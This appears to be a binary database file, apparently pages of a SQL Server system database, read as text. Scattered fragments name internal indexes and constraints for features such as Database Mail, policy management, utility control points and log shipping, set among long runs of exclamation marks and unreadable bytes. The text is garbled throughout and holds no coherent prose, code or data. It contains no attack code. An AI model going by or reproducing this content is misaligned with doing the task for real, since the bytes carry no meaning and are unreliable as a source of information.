!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!		
%
e=_R`6\
ZmK	k(^8!!!!`i	;6
U}Io6NhPK_sysutility_ucp_policy_violations_internal6/
fPK_sysutility_ucp_processing_state_internal6rPK_sysutility_ucp_supported_object_types_internal6b:queue_clustered_index69K:queue_clustered_index6v:queue_clustered_index6Xv:queue_clustered_index6x:queue_clustered_index6<8z:queue_clustered_index6b:queue_secondary_index69K:queue_secondary_index6v:queue_secondary_index6Xv:queue_secondary_index6x:queue_secondary_index6<8z:queue_secondary_index6 
K>restorehistorybackupset6|$si_xdes_id6zjSYSMAIL_ACCOUNT_AccountServerTypeMustBeUnique6\LSYSMAIL_ACCOUNT_IDMustBeUnique6\PSYSMAIL_ACCOUNT_NameMustBeUnique6e!dSYSMAIL_ACCOUNT_ProfileAccountMustBeUnique6]($fSYSMAIL_CONFIGURATION_ParamnameMustBeUnique6AFsysmail_log_id_MustBeUnique6'Rsysmail_mailitems_id_MustBeUnique6֣zSYSMAIL_PRINCIPALPROFILE_ProfilePrincipalMustBeUnique6w!LSYSMAIL_PROFILE_IDMustBeUnique6w!PSYSMAIL_PROFILE_NameMustBeUnique6$VSYSMAIL_SERVERTYPE_TypeMustBeUnique6Z>pRU_sysssispackagefoldersuniquepath6,)LUQ__sysdbmai__AEEEF1DB97C2620B6,LUQ__sysdbmai__B2649B259C75E80765&LUQ__sysdbmai__F87CA47793259FB46':LUQ__sysorigi__57F15AAC0E0370DD6':LUQ__sysorigi__D65E569C8D13047D6.HSLUQ__sysutili__0717EC61238BDACB6.HSLUQ__sysutili__A5C7DBB701255F436Dڎ'lUQ_syscollector_collection_items_internal_name6
jUQ_syscollector_collection_sets_internal_name6'lUQ_syscollector_collection_types_internal_name6_<MDUQ_sysdac_history_internal6	c	HUQ_sysdac_instances_internal6ejUQ_sysmanagement_unique_group_name_per_parent6PjjUQ_sysmanagement_unique_server_name_per_group6KHUQ_syspolicy_conditions_name6mRJUQ_syspolicy_object_sets_name6ADUQ_syspolicy_policies_name6P"VUQ_syspolicy_policy_categories_name6ǎ>UQ_sysutility_ucp_mi_id6ro|.UX_facet_events6C6UX_syspolicy_levels6VdUX_syspolicy_policy_category_subscriptions6C@UX_syspolicy_target_sets6D0LUQ__log_ship__2A5EF6DC449E11786D0<uc1lsprimary_databases64>pklsprimary_secondaries6,58uc1lsmonitor_primary69,uc1lssecondary6=:pklsmonitor_secondary6=<uc1lsmonitor_secondary!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d.l(

,
z6`

\

	x	,	Tl8"$p$Xp6N2.`7nT6AAwBwBwBCCCCC(C(C(C(CADADUGTEUGTEs{FFFX\GX\GX\G0H0H*eH~H~H 
K 
K*BK)?K)?K)?K)?K)?KbcLdMdMdMdMnJMeQeQeQeQeQ:Q:Q:Q:Q.HS.HS.HSVVVVVVVVVrWXXXJ~[\\\+\+\+\d]d].^.^7_vM`vM`vM`vM`\`\`\`HaHaȃcȃcwdwd,leeeeeee5`f>o3h>o3hPjPjPjPjPj=yk=yk=yk=ykZ>pZ>pZ>ps2`Xuvvvvvvvvvvv	>R>R>RΞVΞVs{Fs{F(C(CfS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$pR4




b
D
&

rT6dF(




t
V
8

					f	H	*		vX:hJ,Px~`BZ<jL.z\> lN0|^@"2nP2~`J Ucxo?+]!(k_+'(k_+Dڎ'(k_+'Ru+" Ru+,)Ru+" ]Ľ|--./*00)356
B7aV/8Ff8z#9'z#9aV/8z#9']`u;T<]i<]*<=c~=
c~=ҕ;c~=
]%=]/=S>'S>~<S>'Y1?]m?}%@8@T<8@I>8@T<]GNAABBҕ;BBZ@BBҕ;];֗B]B]kC]C#`DT<#`DwB#`DT<3DmR3DC3DmR]kHFǏ<GwBǏ<GUGTEǏ<GwB]G]EG]PH*eHúHCúHs{FúHC]9$I]cYIIKIs{FIKIFI~HIFrJwBrJ0HrJwBJ(CJ~HJ(C*BK)?K]DL]O6LbcLiLwBiL 
KiLwB]M]	N]>NN 
KNVMN 
K&PFpP)?KFpPbcLFpP)?KP 
KPOP 
KQ#R]<YR]=bS]glSaT]T]ٴU-IV]<Wf=W]KWuWP"uWVuWP"]gXG:YeQG:YXG:YeQOY^Y(C^YX^Y(C;dOZrW;dOZ@[Y;dOZrWJ~[Y[]\\]]^A^\^A]!W]@81]Hd,2]5]e6]I:]<]-;>]z@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`D(




d
H
,

$hL0lP4




p
T
8


				t	X	<	 		x\@$|`D(dH,hL0lP4pT8tX< x\@x\@$|`
1"OjX0
^|Microsoft_Management_Utility_Version4___SQLVERSION___NEW___`
Z1O	ɍ	^8`K
 O%6'dMm<qnMmuo-Wnx[f{nh f{nKR[{f{n/+KoMKo1zKoh@DtKo0b{Ko}KooSN0	pip0	pqZ>p[xZ>p!Z>pvZ>p[xZ>p3zZ>px}Z>pČ~Z>p!Z>pvZ>p[xZ>p3zZ>px}Z>p!Z>pvZ>p[xZ>p3zZ>px}Z>pČ~qh q+qOqtqLqBNdq{rXq&4q)3q
B7qS@qAq~xq	syqvO|qC}q7~q/+ rY&sr#FtJrJrgwJr	syJr7~s:KsPswZuswZuswZusPswZuswZus:KsPswZusPswZus	:Ks	Ps	wZus
Ps
wZusPswZus:KsPswZups;dt0sϓ40s|60sTt0svO|h@Dth@Dt1zh@Dtd8uh@Dtڈ,vh@Dt0b{h@Dt}h@Dt~JytnmuJytavJyt=Uw#FtβuwTt+TtOTtvO|Tt7~xu/+.vgwgwGgwyI"w{aixAAixyRzixCF{ixg:|ix$.}ixAAixyRzixCF{ixg:|ix$.}~xG~xyIy=zyMyyRzyRzAAyRzyRzyRz.gzKR[{)z$)z3m	)z)z)z5)z$)z3m	)z)z)z5=z_CF{]"~KR[{^?KR[{vO|]||g:|]"~ro|#Ftro|#Ftro|#Ftro|#Fti|}i|~$.}]"~}~7~G7~yIl~/+GK٥K$KK٥K
K8˳4K6KT<KY1?K?pK#FtK$K3m	K
K?pK$K$K3m	KK$K8˳4K$K6K$K6K$K3m	KKT<KY1?K#FtK	$K	3m	K	K	q5K	6K
$K
3m	K
K
#FtK$K3m	KK#FtK$K?pb_S{IS{IS{IS{IS{IS{IS{IS{IS{	IS{
IS{IS{IS{
IS{ԏS{ԏS{ԏS{ԏS{ԏS{ԏS{	ԏS{
ԏS{ԏS{!S{!?p "?pD#S{*i$S{*i$3}c%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!